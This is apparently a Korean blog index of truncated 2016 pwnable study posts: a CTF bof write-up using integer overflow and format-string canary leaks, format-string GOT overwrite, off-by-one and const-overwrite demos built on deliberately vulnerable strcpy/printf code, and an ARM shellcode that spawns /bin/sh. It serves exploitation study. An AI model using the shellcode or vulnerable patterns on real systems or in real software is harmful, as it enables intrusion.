Hack/Pwnable
-
Layer CTF easy_bofHack/Pwnable 2016. 9. 5. 01:12
fsb와 bof가 같이 사용되는문제지만 fsb는 릭을 위하여 존재한다. 해당 바이너리는 PIE, SSP, NX, ASLR의 보호기법이 걸려있기때문에 쉘코드는 물론 바이너리영역내에 있는 PLT도 사용하지못하게된다.즉 ROP는 안된다는소리 우선 취약점 벡터로 가기위해서는 인티저 오버플로우가 사용된다. nbytes 변수는 %d 포맷스트링으로 정수를 입력받게되는데, nbytes는 size_t 자료형을 가지고있다. 여기까진 인티저 오버플로우가 발생하지않는다 하지만 다음 조건문을 보자 다음 조건문을 보게되면 nbytes 값을 signed int로 캐스팅하여 비교하고있다. -1을 넣어준다면 unsigned int의 최대크기만큼 입력받을 수 있기때문에 오버플로우가 발생한다. 이제 FSB를 통해 카나리만 알아낸다면 익스..
-
포맷스트링(Format String Bug) GOT OverwriteHack/Pwnable 2016. 8. 17. 23:45
ROP로 GOT Overwrite는 알고있었지만 fsb를 공부안한탓에 늦게 깨달았다 하하;; 고로 까먹을수도있기때문에 써놔야지 하하 여기서 일단 중요한건 %x, %n인데, 새로 안것은 %4$n 이런것도 있다는거를 깨달았습니다 %x%x%x%x할바에 %4$x를 쓰면됩니다 뭔가 이해되죠 %x%x%x%x%x면 %5$x를 사용하시면 됩니다. 이해 잘되죠!뒤에 x는 %x를 나타냅니다 자 이제 중요한건 fsb로 쉘따기인데 간단한 코드를 짜겠습니다 1234567891011#include int main(int argc,char *argv[]){ char buf[256]; system("echo \"\""); strcpy(buf,argv[1]); printf(buf); printf("/bin/sh"); return 0;..
-
Off-by-oneHack/Pwnable 2016. 8. 11. 18:36
Off-by-one 다음 코드를 보자 1234567891011121314151617#include int overflow(char *x){ char buf[1024]; strcpy(buf,x); printf("%s\r\n",buf);} int main(int argc,char *argv[]){ if(strlen(argv[1]) > 1024) { printf("BufferOverflow Attempt!!!\n"); return 1; } overflow(argv[1]);}Colored by Color Scriptercs 다음 코드를 보면, 오버플로우 발생 할 수 없는 환경임을 알 수 있다. 버퍼는 1024바이트인데, 1024바이트를 넘긴다면 버퍼오버플로우 탐지 문구가 출력되게된다. 그리고 바로 리턴시켜버리기..
-
const overwrite, 버그헌팅하면서 배운점Hack/Pwnable 2016. 7. 19. 00:07
const 는 C언어를 하면 누구나 알고있듯이 상수로, 변수와달리 한번지정한후로 절대 바꿀수없는 값이다. 취약점을 찾았는데 오버플로우를통해 그 다음에 있는 주소가 const로 선언된 변수였다. strcpy, sprintf같은 함수로 터졌었는데, 멍청하게 좀 오래 생각했었다.. #include int main(int argc,char *argv[]) { const char v25[4] = "CCCC"; char buf[20]; strcpy(buf,argv[1]); if(v25 == "AAAA") { printf("good!\n"); } else { printf("no\n"); } printf("%s",v25); return 0; } 코드는 이렇게 작성했다. 일단 내가 생각한 바로는 이랬다 const는 C ..
-
ARM Shellcode 간단한거..Hack/Pwnable 2016. 6. 29. 20:03
.section .text.global _start _start:.code 32add r3, pc, #1bxr3.code 16mov r0, pcadd r0, #10str r0, [sp, #4] add r1, sp, #4sub r2, r2, r2 mov r7, #11svc 1 .ascii "/bin/sh" 쉘코드를 만들때 이러한 어셈을 작성해서 만드는데, 그냥 간단하게 몇개 써보려해요 일단 arm에서의 calling convention부터 알아야하는데, 모든함수의 첫번쨰인자는 r0부터시작하며, 두번째인자는 r1, 세번째는 r2이렇게하여 r3까지 담기게되요 만약 어떤 함수중에 인자가 5개이상이면 어디에 넣지? 하는데 스택에다 넣어주게되요! 이제 이걸 알고난후에 다시 저 어셈을 보세요 뭔가 감이오지않나용 전 ..
-
-
16bit Debugging/ 16bit Dynamic DebuggingHack/Pwnable 2016. 5. 9. 00:38
dos4fun을 풀게되다가 알아낸 방법이다. 뭐 누구나 이렇게 분석할테지만 일단 필요한것은 정적분석으론 IDA가 필요하겠지만 동적분석으론 bochs로 애뮬레이팅해도되지만 더 쉬운방법이 존재해 알려드리려고한다. 일단 DosBox가 필요하다. dosbox는 검색해도나오니까 알아서들 다운받으시면되고~~~ Tasm이 필요하다 이안에 Turbo Debugger가있음!! [링크[http://techapple.net/2013/01/tasm-windows-7-windows-8-full-screen-64bit-version-single-installer/ 해당 링크로 들어가서 다운받아주면된다. 이상한거 아니니까 절대 의심하지말도록하자 exe 파일을 설치하게되면 c:/tasm이란 디렉터리가생기는데 해당 디렉터리에 많은 파..
-
Static LinkHack/Pwnable 2016. 3. 7. 23:25
컴파일할때, 아무 옵션을 주지않고 컴파일을하게되면 Dynamic link로 컴파일이된다. 이럴때 라이브러리가 파일외부에 존재하기때문에 프로그램은 GOT와 PLT로, 함수를 직접호출하지않고 함수의 주소를 타고들어가서 가져오게된다. 하지만 다른방법이있다. 이렇게 static옵션을 주게되면 바이너리는 static link의 속성을 가지게된다. 이렇게되면 라이브러리가 내부에존재해 따로 실제 함수의 주소 즉 GOT를 참조하지않게된다. 하지만, static link로 컴파일할시에, 바이너리의 크기가 커지는 단점이 존재한다. 실제로 아이다로 열어보았을때의 모습이다. GOT와 PLT섹션이 따로존재하지않고 함수를 따라가 분석할수있게된다. malloc함수의 내부인데 PLT로 가지않고 실제로 이런모습이존재한다 정말 분석하기..